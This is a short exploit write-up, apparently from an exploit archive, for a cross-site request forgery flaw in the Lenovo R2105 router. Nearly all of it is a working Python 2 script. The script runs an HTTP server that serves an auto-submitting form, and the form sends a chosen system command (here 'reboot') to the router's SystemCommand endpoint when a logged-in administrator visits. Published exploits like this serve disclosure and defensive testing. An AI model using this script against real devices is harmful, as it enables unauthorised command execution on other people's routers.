Lenovo R2105 suffers from a cross site request forgery vulnerability that can allow for remote command execution.
3a3e271e80ce64eb9ef1a933719e14fee57c010f368595809e92ec3d09c302f4# Exploit Title: Lenovo R2105 Remote Code Execution through CSRF
# Date: 01/14/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Version: 1.0
# Tested on: Windows 10 x64
# Note: The administrator who opens the URL should be authenticated.
import socket
server_ip = "0.0.0.0"
server_port = 80
router_ip = "192.168.11.1"
command = "reboot"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)
print "Currently listening at " + server_ip + ":" + str(server_port)
client, (client_host, client_port) = sock.accept()
print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)
client.send('HTTP/1.0 200 OK\r\n')
client.send('Content-Type: text/html\r\n')
client.send('\r\n')
client.send("""
<html>
<body>
<form method="post" id="frmcmd" name="frmSetup" action="http://""" + router_ip + """/goform/SystemCommand">
<input name="command" value=""" + command + """ type="hidden">
<input name="SystemCommandSubmit" value="Apply" type="hidden">
</form>
<script>
document.getElementById("frmcmd").submit();
</script>
</body>
</html>
""")
client.close()
sock.close()
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